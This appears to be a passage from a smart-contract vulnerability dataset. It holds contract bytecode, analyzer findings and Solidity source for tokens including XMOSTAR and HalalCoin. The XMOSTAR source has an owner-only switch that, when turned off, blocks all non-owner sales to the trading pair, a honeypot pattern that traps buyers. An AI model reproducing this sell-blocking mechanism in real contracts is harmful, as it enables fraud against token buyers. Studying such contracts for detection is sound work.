5b50610130610982565b3480156102b557600080fd5b506101196109be565b3480156102ca57600080fd5b50610119600435610a09565b3480156102e257600080fd5b50610173610a98565b3480156102f757600080fd5b50610119600160a060020a0360043516610a9e565b34801561031857600080fd5b50610130610af9565b34801561032d57600080fd5b506101ca610b02565b600080662386f26fc10000341015610398576040805160e560020a62461bcd02815260206004820152601b60248201527f4d696e696d756d2076616c756520697320302e30312065746865720000000000604482015290519081900360640190fd5b6008546103ab903463ffffffff610b1116565b6009541015610429576040805160e560020a62461bcd028152602060048201526024808201527f5570706572206c696d6974206f6e2066756e642072616973696e67206578636560448201527f6564656400000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b331515610480576040805160e560020a62461bcd02815260206004820152601760248201527f416464726573732073656e64657220697320656d707479000000000000000000604482015290519081900360640190fd5b600554600160a060020a031615156104e2576040805160e560020a62461bcd02815260206004820152601b60248201527f456e74657220616464726573732070726f6669742077616c6c65740000000000604482015290519081900360640190fd5b600a5460ff16151561053e576040805160e560020a62461bcd02815260206004820152601660248201527f5365742073616c6553746174757320696e207472756500000000000000000000604482015290519081900360640190fd5b60065434925061055590839063ffffffff610b2416565b600354604080517f40c10f19000000000000000000000000000000000000000000000000000000008152336004820152602481018490529051929350600160a060020a03909116916340c10f19916044808201926020929091908290030181600087803b1580156105c557600080fd5b505af11580156105d9573d6000803e3d6000fd5b505050506040513d60208110156105ef57600080fd5b50506040805183815260208101839052815133927f7ceac0b8ee1aa05d6bffe30efcb415d68896c61a7fc61e16d6ec0a7056e93ab0928290030190a260085461063e903463ffffffff610b1116565b600855600554604051600160a060020a03909116903480156108fc02916000818181858888f1935050505015801561067a573d6000803e3d6000fd5b505050565b60008054600160a060020a0316331461069757600080fd5b600a5460ff1615156001146106ab57600080fd5b50600a805460ff19169055600190565b600054600160a060020a03163314806106de5750600454600160a060020a031633145b15156106e957600080fd5b600354604080517f20b44b2900000000000000000000000000000000000000000000000000000000815283151560048201529051600160a060020a03909216916320b44b299160248082019260009290919082900301818387803b15801561075057600080fd5b505af1158015610764573d6000803e3d6000fd5b5050505050565b60065481565b600054600160a060020a0316331461078857600080fd5b600354604080517f2910a32b000000000000000000000000000000000000000000000000000000008152600481018490529051600160a060020a0390921691632910a32b9160248082019260009290919082900301818387803b15801561075057600080fd5b600054600160a060020a0316331461080557600080fd5b61081d81670de0b6b3a764000063ffffffff610b2416565b60075550565b600554600160a060020a031681565b600454600160a060020a031681565b600054600160a060020a0316331461085857600080fd5b600160a060020a03811615156108b8576040805160e560020a62461bcd02815260206004820152600f60248201527f496e76616c696420616464726573730000000000000000000000000000000000604482015290519081900360640190fd5b6005805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60085481565b600054600160a060020a0316331461090457600080fd5b61091c81670de0b6b3a764000063ffffffff610b2416565b600955506000600855565b600054600160a060020a0316331461093e57600080fd5b6004805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60075481565b600054600160a060020a031681565b60008054600160a060020a0316331461099a57600080fd5b600a5460ff16156109aa57600080fd5b50600a805460ff1916600190811790915590565b600154600160a060020a031633146109d557600080fd5b600180546000805473ffffffffffffffffffffffffffffffffffffffff19908116600160a060020a03841617909155169055565b600054600160a060020a03163314610a2057600080fd5b61029a8114610a2e57600080fd5b60048054600554604080517fbcea363d000000000000000000000000000000000000000000000000000000008152600160a060020a03928316948101949094525191169163bcea363d91602480830192600092919082900301818387803b15801561075057600080fd5b60095481565b600054600160a060020a03163314610ab557600080fd5b600160a060020a0381161515610aca57600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600a5460ff1690565b600354600160a060020a031681565b81810182811015610b1e57fe5b92915050565b6000821515610b3557506000610b1e565b50818102818382811515610b4557fe5b0414610b1e57fe00a165627a7a72305820e0430227b94c9da3b336d4b95a1296287d75d023c32b3ab3451ad33b9c3100c90029
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
7,306
0xf6c915dcdffccd4e1f04d348acc8349d83c63963
/* XMOSTAR ($XMO) 🌐Website : https://xmostar.com 💬Telegram : https://t.me/xmostar 🐧Twitter : https://twitter.com/xmostar_eth 👍Total Supply : 1,000,000,000 $XMO 👍No Team & Dev Token 👍Buy Tax : 10% | Sell Tax : 12% 📈Max TX : 0.25% | Wallet Cap : 2% ✅ LAUNCHPAD ✅ INCUBATOR ✅ STAKING AS A SERVICE */ pragma solidity 0.8.9; pragma experimental ABIEncoderV2; // SPDX-License-Identifier:MIT interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } // Dex Factory contract interface interface IdexFacotry { function createPair(address tokenA, address tokenB) external returns (address pair); } // Dex Router02 contract interface interface IDexRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = payable(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract XMOSTAR is Context, IERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; IDexRouter public dexRouter; address public dexPair; string private _name; string private _symbol; uint8 private _decimals; uint256 private _totalSupply; bool public _limitonbuys = true; constructor() { _name = "XMOSTAR"; _symbol = "XMO"; _decimals = 18; _totalSupply = 1000000000 * 1e18; _balances[owner()] = _totalSupply.mul(1000).div(1e3); IDexRouter _dexRouter = IDexRouter( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D // UniswapV2Router02 ); // Create a uniswap pair for this new token dexPair = IdexFacotry(_dexRouter.factory()).createPair( address(this), _dexRouter.WETH() ); // set the rest of the contract variables dexRouter = _dexRouter; emit Transfer(address(this), owner(), _totalSupply.mul(1000).div(1e3)); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function limitonbuys(bool value) external onlyOwner { _limitonbuys = value; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require( currentAllowance >= amount, "WE: transfer amount exceeds allowance" ); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender] + addedValue ); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require( currentAllowance >= subtractedValue, "WE: decreased allowance below zero" ); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "WE: transfer from the zero address"); require(recipient != address(0), "WE: transfer to the zero address"); require(amount > 0, "WE: Transfer amount must be greater than zero"); if (!_limitonbuys && sender != owner() && recipient != owner()) { require(recipient != dexPair, " WE:antuwhale is not enabled"); } _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "WE: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "BEP20: approve from the zero address"); require(spender != address(0), "BEP20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } }
0x608060405234801561001057600080fd5b50600436106101165760003560e01c8063715018a6116100a2578063a70ff5f111610071578063a70ff5f114610240578063a9059cbb14610253578063dd62ed3e14610266578063f242ab411461029f578063f2fde38b146102b257600080fd5b8063715018a61461020a5780638da5cb5b1461021457806395d89b4114610225578063a457c2d71461022d57600080fd5b80631e8c811a116100e95780631e8c811a1461019957806323b872dd146101a6578063313ce567146101b957806339509351146101ce57806370a08231146101e157600080fd5b806306fdde031461011b5780630758d92414610139578063095ea7b31461016457806318160ddd14610187575b600080fd5b6101236102c5565b6040516101309190610b87565b60405180910390f35b60035461014c906001600160a01b031681565b6040516001600160a01b039091168152602001610130565b610177610172366004610bf8565b610357565b6040519015158152602001610130565b6008545b604051908152602001610130565b6009546101779060ff1681565b6101776101b4366004610c22565b61036e565b60075460405160ff9091168152602001610130565b6101776101dc366004610bf8565b61041a565b61018b6101ef366004610c5e565b6001600160a01b031660009081526001602052604090205490565b610212610456565b005b6000546001600160a01b031661014c565b6101236104ca565b61017761023b366004610bf8565b6104d9565b61021261024e366004610c79565b61056f565b610177610261366004610bf8565b6105ac565b61018b610274366004610c9b565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b60045461014c906001600160a01b031681565b6102126102c0366004610c5e565b6105b9565b6060600580546102d490610cce565b80601f016020809104026020016040519081016040528092919081815260200182805461030090610cce565b801561034d5780601f106103225761010080835404028352916020019161034d565b820191906000526020600020905b81548152906001019060200180831161033057829003601f168201915b5050505050905090565b600061036433848461076b565b5060015b92915050565b600061037b84848461088f565b6001600160a01b0384166000908152600260209081526040808320338452909152902054828110156104025760405162461bcd60e51b815260206004820152602560248201527f57453a207472616e7366657220616d6f756e74206578636565647320616c6c6f60448201526477616e636560d81b60648201526084015b60405180910390fd5b61040f853385840361076b565b506001949350505050565b3360008181526002602090815260408083206001600160a01b03871684529091528120549091610364918590610451908690610d1f565b61076b565b6000546001600160a01b031633146104805760405162461bcd60e51b81526004016103f990610d37565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6060600680546102d490610cce565b3360009081526002602090815260408083206001600160a01b0386168452909152812054828110156105585760405162461bcd60e51b815260206004820152602260248201527f57453a2064656372656173656420616c6c6f77616e63652062656c6f77207a65604482015261726f60f01b60648201526084016103f9565b610565338585840361076b565b5060019392505050565b6000546001600160a01b031633146105995760405162461bcd60e51b81526004016103f990610d37565b6009805460ff1916911515919091179055565b600061036433848461088f565b6000546001600160a01b031633146105e35760405162461bcd60e51b81526004016103f990610d37565b6001600160a01b0381166106485760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016103f9565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000826106b257506000610368565b60006106be8385610d6c565b9050826106cb8583610d8b565b146107225760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103f9565b9392505050565b600061072283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610b50565b6001600160a01b0383166107cd5760405162461bcd60e51b8152602060048201526024808201527f42455032303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103f9565b6001600160a01b03821661082e5760405162461bcd60e51b815260206004820152602260248201527f42455032303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103f9565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108f05760405162461bcd60e51b815260206004820152602260248201527f57453a207472616e736665722066726f6d20746865207a65726f206164647265604482015261737360f01b60648201526084016103f9565b6001600160a01b0382166109465760405162461bcd60e51b815260206004820181905260248201527f57453a207472616e7366657220746f20746865207a65726f206164647265737360448201526064016103f9565b600081116109ac5760405162461bcd60e51b815260206004820152602d60248201527f57453a205472616e7366657220616d6f756e74206d757374206265206772656160448201526c746572207468616e207a65726f60981b60648201526084016103f9565b60095460ff161580156109cd57506000546001600160a01b03848116911614155b80156109e757506000546001600160a01b03838116911614155b15610a4a576004546001600160a01b0383811691161415610a4a5760405162461bcd60e51b815260206004820152601c60248201527f2057453a616e74757768616c65206973206e6f7420656e61626c65640000000060448201526064016103f9565b6001600160a01b03831660009081526001602052604090205481811015610abf5760405162461bcd60e51b815260206004820152602360248201527f57453a207472616e7366657220616d6f756e7420657863656564732062616c616044820152626e636560e81b60648201526084016103f9565b6001600160a01b03808516600090815260016020526040808220858503905591851681529081208054849290610af6908490610d1f565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b4291815260200190565b60405180910390a350505050565b60008183610b715760405162461bcd60e51b81526004016103f99190610b87565b506000610b7e8486610d8b565b95945050505050565b600060208083528351808285015260005b81811015610bb457858101830151858201604001528201610b98565b81811115610bc6576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b0381168114610bf357600080fd5b919050565b60008060408385031215610c0b57600080fd5b610c1483610bdc565b946020939093013593505050565b600080600060608486031215610c3757600080fd5b610c4084610bdc565b9250610c4e60208501610bdc565b9150604084013590509250925092565b600060208284031215610c7057600080fd5b61072282610bdc565b600060208284031215610c8b57600080fd5b8135801515811461072257600080fd5b60008060408385031215610cae57600080fd5b610cb783610bdc565b9150610cc560208401610bdc565b90509250929050565b600181811c90821680610ce257607f821691505b60208210811415610d0357634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b60008219821115610d3257610d32610d09565b500190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000816000190483118215151615610d8657610d86610d09565b500290565b600082610da857634e487b7160e01b600052601260045260246000fd5b50049056fea2646970667358221220271d44ec1d9cf3996e692d97cef4d79f018881b792e0bf7f94925072b1f949d364736f6c63430008090033
{"success": true, "error": null, "results": {}}
7,307
0xdfd2ed7ea5e3c5f5166b441a7af142e496813334
pragma solidity ^0.4.23; // based on https://github.com/OpenZeppelin/openzeppelin-solidity/tree/v1.10.0 /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/openzeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); bool public mintingFinished = false; uint public mintTotal = 0; modifier canMint() { require(!mintingFinished); _; } modifier hasMintPermission() { require(msg.sender == owner); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint( address _to, uint256 _amount ) hasMintPermission canMint public returns (bool) { uint tmpTotal = mintTotal.add(_amount); require(tmpTotal <= totalSupply_); mintTotal = mintTotal.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = true; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } /** * @title Pausable token * @dev StandardToken modified with pausable transfers. **/ contract PausableToken is StandardToken, Pausable { function transfer( address _to, uint256 _value ) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom( address _from, address _to, uint256 _value ) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve( address _spender, uint256 _value ) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval( address _spender, uint _addedValue ) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval( address _spender, uint _subtractedValue ) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } contract BEP20Token is PausableToken, MintableToken { // public variables string public name = "HalalCoin"; string public symbol = "Halal"; uint8 public decimals = 18; constructor() public { totalSupply_ = 20000000 * (10 ** uint256(decimals)); } function () public payable { revert(); } }
0x608060405260043610610107576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b1461010c57806306fdde031461013b578063095ea7b3146101cb57806318160ddd1461023057806323b872dd1461025b578063313ce567146102e05780633f4ba83a1461031157806340c10f19146103285780635c975abb1461038d57806366188463146103bc57806370a08231146104215780638456cb59146104785780638da5cb5b1461048f57806395d89b41146104e6578063a9059cbb14610576578063bca63e50146105db578063d73dd62314610606578063dd62ed3e1461066b578063f2fde38b146106e2575b600080fd5b34801561011857600080fd5b50610121610725565b604051808215151515815260200191505060405180910390f35b34801561014757600080fd5b50610150610738565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610190578082015181840152602081019050610175565b50505050905090810190601f1680156101bd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101d757600080fd5b50610216600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107d6565b604051808215151515815260200191505060405180910390f35b34801561023c57600080fd5b50610245610806565b6040518082815260200191505060405180910390f35b34801561026757600080fd5b506102c6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610810565b604051808215151515815260200191505060405180910390f35b3480156102ec57600080fd5b506102f5610842565b604051808260ff1660ff16815260200191505060405180910390f35b34801561031d57600080fd5b50610326610855565b005b34801561033457600080fd5b50610373600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610915565b604051808215151515815260200191505060405180910390f35b34801561039957600080fd5b506103a2610b25565b604051808215151515815260200191505060405180910390f35b3480156103c857600080fd5b50610407600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b38565b604051808215151515815260200191505060405180910390f35b34801561042d57600080fd5b50610462600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b68565b6040518082815260200191505060405180910390f35b34801561048457600080fd5b5061048d610bb0565b005b34801561049b57600080fd5b506104a4610c71565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104f257600080fd5b506104fb610c97565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561053b578082015181840152602081019050610520565b50505050905090810190601f1680156105685780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561058257600080fd5b506105c1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d35565b604051808215151515815260200191505060405180910390f35b3480156105e757600080fd5b506105f0610d65565b6040518082815260200191505060405180910390f35b34801561061257600080fd5b50610651600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d6b565b604051808215151515815260200191505060405180910390f35b34801561067757600080fd5b506106cc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d9b565b6040518082815260200191505060405180910390f35b3480156106ee57600080fd5b50610723600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e22565b005b600360159054906101000a900460ff1681565b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107ce5780601f106107a3576101008083540402835291602001916107ce565b820191906000526020600020905b8154815290600101906020018083116107b157829003601f168201915b505050505081565b6000600360149054906101000a900460ff161515156107f457600080fd5b6107fe8383610f7a565b905092915050565b6000600154905090565b6000600360149054906101000a900460ff1615151561082e57600080fd5b61083984848461106c565b90509392505050565b600760009054906101000a900460ff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108b157600080fd5b600360149054906101000a900460ff1615156108cc57600080fd5b6000600360146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561097457600080fd5b600360159054906101000a900460ff1615151561099057600080fd5b6109a58360045461142690919063ffffffff16565b905060015481111515156109b857600080fd5b6109cd8360045461142690919063ffffffff16565b600481905550610a24836000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461142690919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885846040518082815260200191505060405180910390a28373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3